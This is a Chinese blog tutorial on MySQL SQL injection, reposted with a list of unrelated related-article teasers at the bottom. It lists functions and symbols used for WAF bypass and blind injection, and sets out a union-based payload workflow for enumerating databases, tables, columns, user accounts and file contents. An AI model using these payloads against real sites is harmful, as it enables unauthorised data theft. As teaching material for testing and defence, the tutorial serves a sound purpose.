sql注入-MySQL

news/2024/5/2 9:12:19/文章来源:https://blog.csdn.net/2202_75361164/article/details/137482387

01. 常用符号、函数、语句

1.1. 常用符号

1.1.1. 注释符

注释符说明
#(%23)单行注释
在URL中#表示锚点,也就是hash路由,带上#不会请求后端路由,而是刷新前端路由,所以测试一般用URL编码后的%23

– -
±-+
单行注释
注意–后还有一个空格;其中+号会被URL解码为空格
/**/多行(内联)注释
一般用于绕过WAF、代替空格等

1.1.2. 运算符

运算符说明
&&与,同 and
||或,同 or
!非,同 not
^异或,同xor
|转义符
~一元比特反转
<<左移
>>右移
+加,URL解码后可替代空格
-减法
*乘法
/ 或 div除法
% 或 mod取余
=等于
<>, !=不等于
>大于
<小于
<=小于等于
>=大于等于
BETWEEN在两值之间
NOT BETWEEN不在两值之间
IN在集合中
NOT IN不在集合中
<=>严格比较两个NULL值是否相等
LIKE模糊匹配
REGEXP 或 RLIKE正则式匹配
IS NULL为空
IS NOT NULL不为空

1.1.3. 全局变量

所有全局变量可通过如下语句查看:

SHOW GLOBAL VARIABLES;
SHOW VARIABLES;
变量说明
@@VERSION返回版本信息
@@GLOBAL.VERSION同@@VERSION
@@HOSTNAME返回安装的计算机名称
@@BASEDIR返回MYSQL绝对路径
@@DATADIR数据路径

1.2. 常用函数

完整的各种函数可以参考:https://www.runoob.com/mysql/mysql-functions.html

1.2.1. 数据库信息

函数说明
USER()获取当前操作句柄的用户名,同SESSION_USER()、CURRENT_USER(),有时也用SYSTEM_USER()
DATABASE()获取当前选择的数据库名,同SCHEMA()
VERSION()获取当前版本信息

1.2.2. 数据类型转换

函数说明
ASCII(str)返回字符串第一个字符的ASCII值
ORD(str)同ASCII(str)
HEX(N_S)参数为字符串时,返回 N or S 的16进制字符串形式;为数字时,返回其16进制数形式
UNHEX(str)HEX(str) 的逆向函数将参数中的每一对16进制数字都转换为10进制数字,然后再转换成 ASCII 码所对应的字符
BIN(N)返回十进制数值 N 的二进制数值的字符串表现形式N 是一个BIGINT型数值,作用相当于CONV(N,10,2)
OCT(N)返回十进制数值 N 的八进制数值的字符串表现形式
CONV(N,from_base,to_base)将数值型参数 N 由初始进制 from_base 转换为目标进制 to_base 的形式并返回
CHAR(N,… [USING charset_name])将每一个参数 N 都解释为整数,返回由这些整数在 ASCII 码中所对应字符所组成的字符串

1.2.3. 字符串截取

函数说明
SUBSTR(str,N_start,N_length)对指定字符串进行截取,为SUBSTRING的简单版
str : 截取的字符串
N_start : 截取起始位置 ( mysql中的start是从1开始的 )
N_length : 截取长度
SUBSTRING(str,start)
SUBSTRING(str,start,len)
SUBSTRING(str FROM start)
SUBSTRING(str FROM start FOR len)
对指定字符串进行截取,有多种形式
str : 截取的字符串
start : 截取起始位置 ( mysql中的start是从1开始的 )
len : 截取长度
MID(str,pos,len)同于 SUBSTRING(str,pos,len)
RIGHT(str,len)对指定字符串从最右边截取指定长度
LEFT(str,len)对指定字符串从最左边截取指定长度
RPAD(str,len,padstr)在 str 右方补齐 len 位的字符串 padstr,返回新字符串如果 str 长度大于 len,则返回值的长度将缩减到 len 所指定的长度
LPAD(str,len,padstr)与RPAD相似,在str左边补齐
INSERT(str,pos,len,newstr)在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr,然后返回经过替换后的字符串INSERT(str,len,1,0x0)可当做截取函数

1.2.4. 字符串拼接

函数说明
CONCAT(str1,str2…)函数用于将多个字符串合并为一个字符串
CONCAT_WS(separator,str1,str2…)和concat函数类似,只是通过分隔符separator将字符串连接在一起
GROUP_CONCAT(…)返回一个字符串结果,该结果由分组中的值通过逗号连接组合而成
MAKE_SET(bits,str1,str2,…)返回一个设定值(含子字符串分隔字符串","字符),在设置位的相应位的字符串可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,‘1’,‘710’))

1.2.5. 数据匹配

函数说明
= “statement”全匹配
LIKE “statement”匹配数据,%代表任意内容
REGEXP “statement”正则匹配数据
RLIKE “statement”与regexp相同,正则匹配数据

1.2.6. 条件函数

函数说明
IF(exp,state1,state2)条件语句,exp为true,执行state1,否则执行state2
CASE…WHEN exp THEN state1 ELSE state2 END同IF,…可直接省略
NULLIF(expr1,expr2)若expr1与expr2相同,则返回expr1,否则返回NULL

1.2.7. 其他

函数/语句说明
SLEEP(N)休眠N秒
BENCHMARK(count,expr):将表达式expr重复运行count次(消耗CPU),可以达到sleep()的效果
ORDER BY用于对结果集进行排序,默认按照升序对记录进行排序
EXISTS(sql)判断SQL语句执行后是否有结果;存在的话返回结果为:1(true),不存在的话返回结果:0(false)
LIMIT m,n查询结果从 m 开始取 n 个
LENGTH(str)返回字符串的长度
LOAD_FILE(filePath)读取文件内容,可以将文件名转换成ASCII码或者十六进制的形式;secure_file_priv默认情况下为null不允许读文件
ASCII码需要用char()函数,char(96,97)
十六进制前面要加上 0x
读取内容不显示的情况下,可以用hex()函数:hex(load_file())
PI()返回π的具体数值
LOCATE(substr,str,[pos])返回子字符串第一次出现的位置
POSITION(substr IN str)等同于 LOCATE()
LOWER(str)将字符串的大写字母全部转成小写同:LCASE(str)
UPPER(str)将字符串的小写字母全部转成大写同:UCASE(str)
ELT(N,str1,str2,str3,…)与MAKE_SET(bit,str1,str2…)类似,根据N返回参数值
CHARSET(str)返回字符串使用的字符集
DECODE(crypt_str,pass_str)使用 pass_str 作为密码,解密加密字符串 crypt_str加密函数:ENCODE(str,pass_str)

1.3. 常用语句

说明语句
基础信息获取数据库版本信息
select version();

select @@innodb_version;
获取当前用户
select user();
获取当前数据库
select database();
数据路径
select @@datadir;
获取所有数据库select schema_name from information_schema.schemata;
获取所有用户查看表结构
desc mysql.user
获取所有用户信息
select * from mysql.user
获取当前数据库的表名desc information_schema.tables;

select table_name from information_schema.tables where table_schema = database();

select group_concat(table_name) from information_schema.tables where table_schema = database();
获取当前数据库的某表的列名select column_name from information_schema.columns where table_name = ‘表名’;
select group_concat(column_name) from information_schema.columns where table_name = ‘表名’;
获取当前数据库中某列的值select id ,username,password from users;
查询DBA账户(一般root)select host, user from mysql.user where super_priv = ‘y’;

02. 各种注入手法

1.1. 联合(union)注入

1.1.1. 注入一般流程

-- 判断字段数目
order by 3-- 联合查询搜集信息(表中字段数为3,注意字符类型,如 int,String之类的)
union select 1,2,3-- 查询当前数据库名称
union select 1,2,database();-- 查询所有数据库
union select 1,2,group_concat(schema_name) from information_schema.schemata;-- 查询当前数据库中的所有表名
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database();-- 查询某表的列名,studnet 表示 具体的表名
union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'student'-- 查询数据
union select 1,2,group_concat(id,name,age) from student;

1.1.2. 扩展

使用@当临时变量,来判断字段数

select * from user limit 1 into @,@;

1.1.3. 常用语句

(select(group_concat(SCHEMA_NAME)from(information_schema.schemata)))(select(group_concat

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_1046014.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

最好的 iPhone 解锁器解决方案功能、优点和缺点

现最受好评的 iPhone 解锁器&#xff0c;例如 奇客解锁、iPassGo 等。深入了解它们的优缺点和兼容性&#xff0c;以做出明智的决定。了解如何解锁 iPhone 并解决有关解锁方法、PIN 绕过和潜在风险的常见问题。 1、奇客手机解锁 奇客手机解锁是一款适用于 iOS 的多功能解锁工具…

2024春算法训练4——函数与递归题解

一、前言 感觉这次的题目都很好&#xff0c;但是E题....&#xff08;我太菜了想不到&#xff09;&#xff0c;别人的题解都上百行了&#xff0c;晕&#xff1b; 二、题解 A-[NOIP2010]数字统计_2024春算法训练4——函数与递归 (nowcoder.com) 这种题目有两种做法&#xff1a;…

网站SEO关键词规划时如何筛选出合适的关键词?

在网站SEO优化过程中&#xff0c;关键词布局是一个至关重要的环节。首先&#xff0c;我们需要确定核心关键词&#xff0c;然后通过各种策略和方法对关键词进行扩展。完成关键词扩展后&#xff0c;接下来的任务就是对这些扩展后的关键词进行筛选。那么&#xff0c;如何进行有效的…

pytorch3d、Detectron2编译安装

基础环境&#xff1a; python&#xff1a;3.6 ubuntu&#xff1a;18.04 pytorch&#xff1a;1.8 cuda&#xff1a;10.2 一、pytorch3d编译 官方指南 GitCode - 开发者的代码家园 注意&#xff1a;cuda11以下的版本&#xff0c;需要安装CUB libaray&#xff0c;cuda11以上的版…

开源项目one-api的k8s容器化部署(上)-- 制作镜像及部署准备

一、背景 最近需要对开源项目one-api进行k8s容器化部署&#xff0c;主要分以下几个步骤&#xff1a; 制作docker镜像申请mysql和redis数据库docker-compose部署方式k8s部署方式 整个的篇幅比较长&#xff0c;将会分成上下两篇来阐述。 二、制作docker镜像 开源项目one-api…

Idea集成Docker的快捷部署

Idea集成Docker的快捷部署 配置Docker远程访问1.1 修改 `/lib/systemd/system/docker.service`1.2 替换`ExecStart`1.3 重启docker服务1.4 监听端口是否被占用1.5 服务器防火墙开启2375端口1.6 测试配置IDEA2.1 下载docker插件2.2 添加docker连接2.3 配置容器镜像加速器2.4 配置…

Gradle 在 Spring 中的使用ApiHug准备-工具篇-006

&#x1f917; ApiHug {Postman|Swagger|Api...} 快↑ 准√ 省↓ GitHub - apihug/apihug.com: All abou the Apihug apihug.com: 有爱&#xff0c;有温度&#xff0c;有质量&#xff0c;有信任ApiHug - API design Copilot - IntelliJ IDEs Plugin | Marketplace ApiHug …

Redis Cluster集群模式

目录 一、理论 1.1 概念 1.2 集群的作用 1.3 redis集群的数据分片 1.4 Redis集群的主从复制模型 二、实践 2.1 Redis集群模式的搭建 2.1.1 cluster集群前期工作 2.1.2 开启群集功能 2.1.3 启动redis节点 2.1.4 启动集群 2.2 测试集群 总结 一、理论 1.1 概念 集群&a…

vulhub之Webmin篇

Webmin是功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。Webmin支持绝大多数的Unix系统&#xff0c;这些系统除了各种版本的linux以外还包括&#xff1a;AIX、HPUX、Solaris、Unixware、Irix和FreeBSD等。 影响版本&…

JVM、maven、Nexus

一、jvm简介 1.应用程序申请内存时出现的三种情况&#xff1a; ①OOM:内存溢出&#xff0c;是指应用系统中存在无法回收的内存或使用的内存过多&#xff0c;最终使得程序运行要用到的内存大于能提供的最大内存。此时程序就运行不了&#xff0c;系统会提示内存溢出&#xff0c…

自己动手封装axios通用方法并上传至私有npm仓库:详细步骤与实现指南

文章目录 一、构建方法1、api/request.js2、api/requestHandler.js3、api/index.js 二、测试方法1、api/axios.js2、main.js3、app.vue4、vue.config.js5、index.html 三、打包1、配置package.json2、生成库包3、配置发布信息4、发布 四、使用1、安装2、使用 五、维护1、维护和…

基于FPGA的DDR相关知识导航界面

个人觉得想要真正理解DDR&#xff0c;那就要从SDRAM入手&#xff0c;SDRAM读写控制器也可以作为入门FPGA的一个判断标准&#xff0c;说实话I2C、UART、SPI这些接口难度太低了&#xff0c;会写这些接口说明不了什么。 很常见的问题&#xff0c;现在DDR3、SDRAM、DDR4官方都有IP&…

数据结构——二叉树链式结构的实现

大家好我是小锋&#xff0c;今天我们来学习的是二叉树链式结构的实现 首先我们来学习一下二叉树的基本操作 在看二叉树基本操作前我们来回顾下二叉树的概念&#xff0c; 二叉树是&#xff1a; 1. 空树 2. 非空&#xff1a;根节点&#xff0c;根节点的左子树、根节点的右…

【THM】Exploit Vulnerabilities(利用漏洞)-

介绍 在这个房间里,我们将讨论一些识别漏洞的方法,并结合我们的研究技能来了解这些漏洞是如何被滥用的。 此外,您还会发现一些公开可用的资源,这些资源是您在执行漏洞研究和利用时的技能和工具的重要补充。然后,您将在房间的最后将所有这些应用到实际挑战中。 自动化与…

如何监控容器或K8s中的OpenSearch

概述 当前 OpenSearch 使用的越来越多, 但是 OpenSearch 生态还不尽完善. 针对如下情况: 监控容器化或运行在 K8s 中的 OpenSearch 我查了下, 官方还没有提供完备的方案. 这里如何监控 K8s 中的 OpenSearch, 包括安装 exporter 插件、采集、展示全环节。 OpenSearch 简介…

红豆Cat 1开源|项目三: 从0-1设计一款HTTP版本RTU(支持GNSS)产品的软硬件全过程

HTTP版RTU&#xff08;支持GNSS&#xff09;项目概述 RTU&#xff08;Remote Terminal Unit&#xff09;&#xff0c;中文即远程终端控制系统&#xff0c;负责对现场信号、工业设备的监测和控制。RTU是构成企业综合自动化系统的核心装置&#xff0c;通常由信号输入/出模块、微…

蓝桥杯-单片机基础16——利用定时计数中断进行动态数码管的多窗口显示

综合查阅了网络上目前能找到的所有关于此技能的代码&#xff0c;最终找到了下述方式比较可靠&#xff0c;且可以自定义任意显示的数值。 传统采用延时函数的方式实现动态数码管扫描&#xff0c;在题目变复杂时效果总是会不佳&#xff0c;因此在省赛中有必要尝试采用定时计数器中…

洪水预警:如何通过数据可视化提前应对灾害

数据可视化在应对洪涝灾害问题中发挥着重要作用。洪涝灾害是一种常见而严重的自然灾害&#xff0c;给人们的生命、财产和生活带来了巨大的威胁和损失。而数据可视化技术通过将海量的数据转化为直观、易懂的图表、图像或地图等形式&#xff0c;帮助人们更好地理解洪涝灾害的发生…

微服务-2 Eureka

Eureka 启动页面&#xff1a; 同理再注册完order-service后&#xff0c;刷新启动页面&#xff1a; userservice 启动多台服务&#xff1a; [ 代码 ]&#xff1a;orderService.java&#xff08;用 RestTemplate 调其他服务&#xff0c;用 userservice 代替 localhost:8081&…

视频图像的两种表示方式YUV与RGB(4)

本篇主要讲YUV与RGB之间的转换&#xff0c;包括YUV444 颜色编码格式 转为 RGB 格式 &#xff0c;RGB颜色编码格式转为 YUV444 格式。 一、 YUV与RGB之间的转换 YUV与RGB颜色格式之间进行转换时 , 涉及一系列的数学运算 ; YUV 颜色编码格式转为RGB格式的转换公式 取决于 于 YUV …